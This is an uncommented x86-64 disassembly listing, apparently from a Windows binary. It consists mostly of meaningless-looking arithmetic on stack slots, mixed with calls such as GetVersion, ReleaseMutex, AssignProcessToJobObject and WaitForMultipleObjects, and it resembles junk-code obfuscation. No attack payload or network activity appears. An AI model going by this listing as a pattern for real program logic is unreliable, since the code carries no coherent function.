mov rax, qword [rsp + 0x38a0]
shr rax, cl
mov rcx, qword [rsp + 0x3fe8]
mov qword [rcx], rax
lea rax, [rsp + 0x2010]
mov qword [rsp + 0x40a8], rax
mov rax, qword [rsp + 0x3fa8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc64]
xor eax, ecx
mov word [rsp + 0xc5c], ax
lea rax, [rsp + 0x544]
mov qword [0x14018be68], rax
mov rax, qword [rsp + 0x3b58]
mov rax, qword [rax]
mov qword [rsp + 0x40b0], rax
mov rax, qword [rsp + 0x3fb8]
mov rcx, qword [rsp + 0x3e40]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x40b0], rax
mov rax, qword [rsp + 0x3e70]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3de8]
shl rax, cl
mov qword [rsp + 0x2ac8], rax
lea rax, [rsp + 0xc6c]
mov qword [rsp + 0x40b8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x2014], eax
mov rax, qword [rsp + 0x4088]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3fc8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1ac], al
lea rax, [rsp + 0x1f7c]
mov qword [rsp + 0x40c0], rax
mov rax, qword [rsp + 0x3d80]
mov rcx, qword [rsp + 0x3c98]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3d80]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xe7]
movzx ecx, byte [rsp + 0x14a]
add eax, ecx
mov rcx, qword [rsp + 0x3ed0]
mov byte [rcx], al
lea rax, [rsp + 0x201c]
mov qword [rsp + 0x40c8], rax
lea rax, [rsp + 0xc88]
mov qword [0x14018be70], rax
movzx eax, word [rsp + 0x544]
movzx ecx, word [rsp + 0xc34]
and eax, ecx
mov word [rsp + 0x39c], ax
movzx eax, word [rsp + 0xc60]
mov rcx, qword [rsp + 0x3e38]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xa80], ax
mov rax, qword [rsp + 0x3de8]
mov rcx, qword [0x14018be30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2ac8], rax
mov rax, qword [rsp + 0x3f48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f90]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3fa0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x99]
mov byte [rsp + 0x1af], al
mov rax, qword [rsp + 0x3fc0]
mov rcx, qword [rsp + 0x2b08]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3d08], rax
lea rax, [rsp + 0xc7c]
mov qword [rsp + 0x40d0], rax
movzx eax, word [rsp + 0x8b0]
movzx ecx, word [rsp + 0x39c]
and eax, ecx
mov rcx, qword [rsp + 0x4048]
mov word [rcx], ax
mov rax, qword [0x14018be40]
mov rcx, qword [rsp + 0x40b0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [0x14018bdf8]
mov qword [rcx], rax
lea rax, [rsp + 0x544]
mov qword [rsp + 0x40d8], rax
mov rax, qword [0x14018be40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3fd8]
mov qword [rsp + 0x40e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x40e0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x3ff8]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x3b10]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x3e40]
mov rcx, qword [rsp + 0x4028]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x3ff8]
mov qword [rcx], rax
lea rax, [rsp + 0x18d]
mov qword [rsp + 0x40e8], rax
mov rax, qword [rsp + 0x3a38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1fd8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x1fe4], eax
lea rax, [rsp + 0xe7]
mov qword [rsp + 0x40f0], rax
mov eax, dword [rsp + 0x1fa0]
mov dword [rsp + 0x1fc0], eax
mov rax, qword [rsp + 0x2fa8]
movzx ecx, al
mov rax, qword [rsp + 0x4060]
shr rax, cl
mov rcx, qword [rsp + 0x3bc0]
mov qword [rcx], rax
movsx eax, word [0x14018bdc4]
movsx ecx, word [rsp + 0xc68]
add eax, ecx
mov rcx, qword [0x14018bdf0]
mov word [rcx], ax
lea rax, [rsp + 0xc68]
mov qword [rsp + 0x40f8], rax
mov rax, qword [rsp + 0x3ff0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3f20]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4098]
mov word [rcx], ax
mov rax, qword [0x14018be18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc60]
add eax, ecx
mov word [rsp + 0x864], ax
mov rax, qword [rsp + 0x3f88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2fa8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3fe8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2010]
mov rcx, qword [rsp + 0x3fa0]
mov qword [rsp + 0x4100], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4100]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x1c58], eax
mov rax, qword [rsp + 0x4050]
movzx eax, byte [rax]
mov byte [rsp + 0x1b0], al
mov rax, qword [rsp + 0x40d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4020]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3f00]
mov word [rcx], ax
mov rax, qword [rsp + 0x3fd0]
movzx eax, word [rax]
mov word [rsp + 0xc94], ax
mov rax, qword [rsp + 0x3eb8]
mov rcx, qword [rsp + 0x34f8]
sub rcx, rax
mov rax, rcx
mov qword [0x14018acf0], rax
mov rax, qword [rsp + 0x3ff8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3de8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b60]
mov qword [rcx], rax
lea rax, [0x14018be30]
mov qword [rsp + 0x4108], rax
mov rax, qword [rsp + 0x4068]
mov rcx, qword [rsp + 0x34f8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2f10], rax
movzx eax, word [rsp + 0x39c]
mov rcx, qword [rsp + 0x3ff0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xc94], ax
movzx eax, byte [rsp + 0x1ae]
mov rcx, qword [rsp + 0x3ed0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x165], al
mov eax, dword [rsp + 0x1e80]
mov rcx, qword [rsp + 0x40c8]
mov qword [rsp + 0x4110], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4110]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x3bb8]
mov dword [rcx], eax
lea rax, [rsp + 0x99]
mov qword [rsp + 0x4118], rax
mov rax, qword [rsp + 0x3fc0]
movzx ecx, al
mov rax, qword [rsp + 0x38a0]
shr rax, cl
mov rcx, qword [rsp + 0x3ed8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1f7c]
mov dword [0x14018be78], eax
mov rax, qword [rsp + 0x4020]
movsx eax, word [rax]
movsx ecx, word [0x14018be58]
add eax, ecx
mov word [rsp + 0xc68], ax
mov rax, qword [rsp + 0x40f8]
movzx eax, word [rax]
mov word [rsp + 0xc98], ax
movzx eax, word [rsp + 0xc60]
mov rcx, qword [rsp + 0x4098]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4048]
mov word [rcx], ax
lea rax, [rsp + 0x3f78]
mov qword [rsp + 0x4120], rax
mov rax, qword [rsp + 0x3bd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1c58]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3dc8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3fc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1b0]
add eax, ecx
mov byte [rsp + 0x99], al
lea rax, [rsp + 0x2e28]
mov qword [rsp + 0x4128], rax
movsx eax, word [rsp + 0xc90]
movsx ecx, word [rsp + 0xc64]
sar eax, cl
mov rcx, qword [rsp + 0x40d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3ff0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4030]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14018bdc8], ax
lea rax, [rsp + 0x34f8]
mov qword [rsp + 0x4130], rax
mov rax, qword [rsp + 0x4048]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x864]
and eax, ecx
mov word [rsp + 0xc78], ax
mov rax, qword [rsp + 0x3ed0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x14a]
cdq
idiv ecx
mov byte [rsp + 0x165], al
lea rax, [rsp + 0x1fd0]
mov qword [rsp + 0x4138], rax
mov rax, qword [rsp + 0x3ec0]
mov rcx, qword [rsp + 0x3f68]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x1fe4], eax
lea rax, [rsp + 0x1ac]
mov qword [rsp + 0x4140], rax
mov rax, qword [0x14018be10]
mov rcx, qword [rsp + 0x2fa8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3d80]
mov qword [rcx], rax
lea rax, [rsp + 0xc88]
mov qword [rsp + 0x4148], rax
movzx eax, word [rsp + 0xa80]
movzx ecx, word [rsp + 0x8b0]
shl eax, cl
mov word [0x14018acf8], ax
mov rax, qword [0x14018be30]
mov rcx, qword [rsp + 0x3fb8]
mov qword [rsp + 0x4150], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4150]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x2f10], rax
mov rax, qword [rsp + 0x3b60]
mov rcx, qword [rsp + 0x34f8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4068]
mov qword [rcx], rax
lea rax, [rsp + 0xc88]
mov qword [rsp + 0x4158], rax
mov rax, qword [rsp + 0x4070]
movzx eax, word [rax]
movzx ecx, word [0x14018acdc]
sub eax, ecx
mov word [rsp + 0xc60], ax
lea rax, [rsp + 0x2fa8]
mov qword [rsp + 0x4160], rax
mov rax, qword [rsp + 0x3bd8]
mov ecx, dword [rsp + 0x1ff4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3e30]
mov dword [rcx], eax
movsx eax, byte [0x14018acd9]
mov rcx, qword [rsp + 0x4140]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3bc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3e40]
mov rcx, qword [rsp + 0x34f8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x3718], rax
movzx eax, word [rsp + 0xc90]
mov word [0x14018be7c], ax
movzx eax, word [0x14018acf8]
mov rcx, qword [rsp + 0x4048]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3cc0]
mov word [rcx], ax
mov eax, dword [rsp + 0x1e80]
mov dword [rsp + 0x2030], eax
mov rax, qword [rsp + 0x3e90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x14a]
sub eax, ecx
mov rcx, qword [rsp + 0x3f90]
mov byte [rcx], al
mov rax, qword [rsp + 0x4120]
mov rax, qword [rax]
mov rcx, qword [0x14018ace0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3f08]
mov qword [rcx], rax
lea rax, [rsp + 0x18d]
mov qword [rsp + 0x4168], rax
mov rax, qword [rsp + 0x3d08]
mov rcx, qword [rsp + 0x4060]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3fc0], rax
mov eax, dword [0x14018bdc0]
mov dword [rsp + 0x2034], eax
mov rax, qword [rsp + 0x40b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4020]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3b00]
mov word [rcx], ax
lea rax, [rsp + 0xc60]
mov qword [0x14018be80], rax
mov rax, qword [rsp + 0x3cd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3b58]
mov qword [rsp + 0x4170], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4170]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x2f10], rax
mov rax, qword [rsp + 0x3db8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4070]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x618], ax
movsx eax, word [rsp + 0xc70]
mov rcx, qword [rsp + 0x4080]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3cf0]
mov word [rcx], ax
lea rax, [rsp + 0x3de8]
mov qword [rsp + 0x4178], rax
mov rax, qword [rsp + 0x3b80]
mov eax, dword [rax]
mov dword [rsp + 0x1fd8], eax
movzx eax, byte [rsp + 0x18d]
mov byte [rsp + 0x1b1], al
mov rax, qword [rsp + 0x4060]
movzx ecx, al
mov rax, qword [rsp + 0x2fa8]
shr rax, cl
mov qword [rsp + 0x3fc0], rax
mov rax, qword [rsp + 0x4078]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3e38]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc78], ax
mov rax, qword [rsp + 0x3e70]
mov rcx, qword [rsp + 0x34f8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [0x14018bdf8]
mov qword [rcx], rax
lea rax, [0x14018acda]
mov qword [rsp + 0x4180], rax
mov eax, dword [rsp + 0x1fc0]
mov ecx, dword [rsp + 0x1fd0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1fa0], eax
lea rax, [rsp + 0xc84]
mov qword [rsp + 0x4188], rax
movzx eax, word [rsp + 0xc78]
mov rcx, qword [rsp + 0x4070]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3e98]
mov word [rcx], ax
mov rax, qword [rsp + 0x2b08]
mov rcx, qword [rsp + 0x4060]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3fe8]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x175]
movsx ecx, byte [rsp + 0x1af]
sar eax, cl
mov byte [rsp + 0x152], al
mov rax, qword [rsp + 0x40c0]
mov ecx, dword [rsp + 0x1ff4]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x3fa0]
mov dword [rcx], eax
lea rax, [rsp + 0xc58]
mov qword [rsp + 0x4190], rax
movzx eax, word [rsp + 0xc34]
mov rcx, qword [0x14018be50]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x14018bdc8], ax
mov rax, qword [rsp + 0x3e40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4108]
mov qword [rsp + 0x4198], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4198]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3b60]
mov rcx, qword [rsp + 0x3718]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4108]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x3e68]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [0x14018be30]
mov qword [rsp + 0x41a0], rax
mov rax, qword [rsp + 0x3a50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x40f8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc98], ax
lea rax, [rsp + 0x1af]
mov qword [rsp + 0x41a8], rax
mov rax, qword [rsp + 0x3e60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x38a0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b88]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2034]
mov dword [rsp + 0x2038], eax
mov eax, dword [rsp + 0x202c]
mov rcx, qword [rsp + 0x4038]
mov qword [rsp + 0x41b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x41b0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xe7]
mov rcx, qword [rsp + 0x4180]
movzx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x3ed0]
mov byte [rcx], al
lea rax, [rsp + 0xc98]
mov qword [0x14018be88], rax
lea rax, [rsp + 0xc60]
mov qword [rsp + 0x41b8], rax
movzx eax, word [rsp + 0x864]
movzx ecx, word [0x14018bde8]
add eax, ecx
mov word [rsp + 0xa80], ax
mov rax, qword [rsp + 0x4068]
mov rcx, qword [rsp + 0x2ac8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x37e8], rax
mov rax, qword [rsp + 0x4118]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3e48]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4140]
mov byte [rcx], al
mov rax, qword [rsp + 0x4128]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4060]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2b08], rax
lea rax, [rsp + 0x2024]
mov qword [rsp + 0x41c0], rax
mov rax, qword [rsp + 0x4080]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc58]
sub eax, ecx
mov rcx, qword [rsp + 0x40d0]
mov word [rcx], ax
lea rax, [rsp + 0x39c]
mov qword [rsp + 0x41c8], rax
mov rax, qword [rsp + 0x2ac8]
mov qword [0x14018be90], rax
movzx eax, word [rsp + 0xa80]
movzx ecx, word [rsp + 0x618]
sar eax, cl
mov word [rsp + 0xc94], ax
mov rax, qword [rsp + 0x34f8]
mov rcx, qword [0x14018be08]
mov qword [rsp + 0x41d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x41d0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4068]
mov qword [rcx], rax
lea rax, [rsp + 0x3718]
mov qword [rsp + 0x41d8], rax
mov rax, qword [rsp + 0x4168]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x99]
xor eax, ecx
mov byte [rsp + 0x1af], al
mov eax, dword [rsp + 0x1fd8]
mov dword [rsp + 0x203c], eax
mov rax, qword [rsp + 0x40c8]
mov ecx, dword [rsp + 0x1fd0]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x3bb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3ed0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x40f0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4010]
mov byte [rcx], al
lea rax, [0x14018be10]
mov qword [rsp + 0x41e0], rax
mov rax, qword [rsp + 0x4158]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc64]
add eax, ecx
mov word [0x14018bdc4], ax
movsx eax, word [rsp + 0xc64]
mov rcx, qword [rsp + 0x3f98]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4080]
mov word [rcx], ax
mov rax, qword [rsp + 0x4048]
movzx eax, word [rax]
mov word [rsp + 0xc9c], ax
mov rax, qword [rsp + 0x3f20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4078]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x39c], ax
mov rax, qword [rsp + 0x3e80]
mov rcx, qword [0x14018bde0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1c3c], eax
movsx eax, byte [rsp + 0x1af]
mov rcx, qword [rsp + 0x3e48]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1b0], al
mov rax, qword [rsp + 0x3b88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3d08]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x38a0], rax
movzx eax, word [rsp + 0xc84]
mov word [rsp + 0xca0], ax
mov rax, qword [rsp + 0x3f20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc34]
and eax, ecx
mov rcx, qword [rsp + 0x3e98]
mov word [rcx], ax
mov rax, qword [rsp + 0x4178]
mov rcx, qword [rsp + 0x4068]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [0x14018be40]
mov qword [rcx], rax
mov rax, qword [0x14018be08]
mov rcx, qword [rsp + 0x41d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3880], rax
mov rax, qword [rsp + 0x4130]
mov rcx, qword [rsp + 0x3eb8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x3cd0]
mov qword [rcx], rax
mov rax, qword [0x14018bdf8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3fb8]
mov qword [rsp + 0x41e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x41e8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x3b58]
mov qword [rcx], rax
movzx eax, word [rsp + 0x618]
mov word [rsp + 0xca4], ax
mov rax, qword [rsp + 0x3ed0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4180]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1ae], al
lea rax, [rsp + 0x1f8c]
mov qword [rsp + 0x41f0], rax
mov rax, qword [rsp + 0x2fa8]
movzx ecx, al
mov rax, qword [rsp + 0x2e28]
shr rax, cl
mov qword [rsp + 0x3d08], rax
mov rax, qword [rsp + 0x3fa0]
mov ecx, dword [rsp + 0x203c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
lea rax, [rsp + 0x1b0]
mov qword [0x14018be98], rax
movzx eax, word [rsp + 0xc70]
mov word [rsp + 0xca8], ax
mov rax, qword [rsp + 0x4188]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc68]
add eax, ecx
mov rcx, qword [rsp + 0x4148]
mov word [rcx], ax
lea rax, [rsp + 0xa80]
mov qword [rsp + 0x41f8], rax
mov rax, qword [0x14018be08]
mov rcx, qword [rsp + 0x37e8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3bc0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x2b08]
shr rax, cl
mov qword [rsp + 0x37b0], rax
mov rax, qword [0x14018bde0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2038]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f48]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x1b0]
mov rcx, qword [rsp + 0x3e48]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1ab], al
movzx eax, word [rsp + 0xc5c]
mov word [rsp + 0xcac], ax
mov rax, qword [0x14018be80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8b0]
add eax, ecx
mov word [0x14018acfc], ax
mov rax, qword [rsp + 0x2ac8]
mov rcx, qword [rsp + 0x3ff8]
mov qword [rsp + 0x4200], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4200]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x37e8], rax
mov rax, qword [rsp + 0x41f8]
movzx eax, word [rax]
mov rcx, qword [0x14018be50]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x3b4], ax
mov rax, qword [rsp + 0x4010]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ae]
xor eax, ecx
mov rcx, qword [rsp + 0x40f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x41f0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3e20]
mov qword [rsp + 0x4208], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4208]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x3bb8]
mov dword [rcx], eax
lea rax, [rsp + 0x3d08]
mov qword [rsp + 0x4210], rax
movsx eax, byte [rsp + 0x1af]
movsx ecx, byte [rsp + 0x1ad]
add eax, ecx
mov rcx, qword [rsp + 0x3c40]
mov byte [rcx], al
mov eax, dword [rsp + 0x1c3c]
mov dword [rsp + 0x2040], eax
mov rax, qword [rsp + 0x40d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc84]
sub eax, ecx
mov rcx, qword [rsp + 0x3b70]
mov word [rcx], ax
mov rax, qword [rsp + 0x3db8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3d98]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x14018be50]
mov word [rcx], ax
mov rax, qword [rsp + 0x41a0]
mov rcx, qword [rsp + 0x34f8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3f70]
mov qword [rcx], rax
lea rax, [0x14018be30]
mov qword [rsp + 0x4218], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x4158]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3b00]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3a70]
mov word [rcx], ax
lea rax, [rsp + 0x3b4]
mov qword [rsp + 0x4220], rax
mov rax, qword [rsp + 0x3f60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4160]
mov qword [rsp + 0x4228], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4228]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x38a0], rax
mov rax, qword [rsp + 0x41c0]
mov rcx, qword [rsp + 0x3ec0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
lea rax, [rsp + 0x1ab]
mov qword [rsp + 0x4230], rax
mov rax, qword [0x14018be08]
mov rcx, qword [rsp + 0x4108]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x40b0], rax
lea rax, [rsp + 0xc84]
mov qword [0x14018bea0], rax
mov r9d, 0x2525
xor r8d, r8d
lea rdx, [rsp + 0x3b10]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x1f94], eax
mov rax, qword [rsp + 0x4018]
movzx eax, word [rax]
mov word [rsp + 0xcb0], ax
mov rax, qword [rsp + 0x41f0]
mov rcx, qword [rsp + 0x3e20]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3bb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f10]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x14a]
shl eax, cl
mov byte [rsp + 0x154], al
mov rax, qword [rsp + 0x3de8]
mov rcx, qword [rsp + 0x37e8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x2f10], rax
mov rax, qword [0x14018bde0]
mov ecx, dword [rsp + 0x1ff4]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x1c58], eax
lea rax, [rsp + 0x175]
mov qword [rsp + 0x4238], rax
mov rax, qword [0x14018be10]
mov rcx, qword [rsp + 0x3ed8]
mov qword [rsp + 0x4240], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4240]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x3b28]
mov qword [rcx], rax
lea rax, [rsp + 0xc64]
mov qword [rsp + 0x4248], rax
movzx eax, word [rsp + 0x618]
mov word [0x14018bea8], ax
mov rax, qword [rsp + 0x3f08]
mov rcx, qword [rsp + 0x3f70]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4108]
mov qword [rcx], rax
mov rax, qword [0x14018be60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x544]
sub eax, ecx
mov word [rsp + 0x618], ax
lea rax, [rsp + 0xc7c]
mov qword [rsp + 0x4250], rax
mov rax, qword [rsp + 0x3f50]
mov rcx, qword [rsp + 0x3e70]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x41d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3f88]
mov rax, qword [rax]
mov qword [rsp + 0x4258], rax
mov rax, qword [rsp + 0x3e28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x152]
sub eax, ecx
mov byte [rsp + 0x99], al
mov rax, qword [rsp + 0x3dc8]
mov rcx, qword [rsp + 0x3eb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1fd8], eax
mov rax, qword [0x14018be28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4220]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x3dc], ax
mov rax, qword [rsp + 0x4130]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x40b0]
sar rax, cl
mov qword [0x14018ace8], rax
mov rax, qword [rsp + 0x3e90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x14a]
add eax, ecx
mov rcx, qword [rsp + 0x3f90]
mov byte [rcx], al
mov eax, dword [rsp + 0x202c]
mov dword [rsp + 0x2044], eax
mov rax, qword [rsp + 0x3cf0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4190]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4188]
mov word [rcx], ax
movzx eax, word [0x14018bde8]
mov rcx, qword [rsp + 0x3cc0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x3ee0]
mov word [rcx], ax
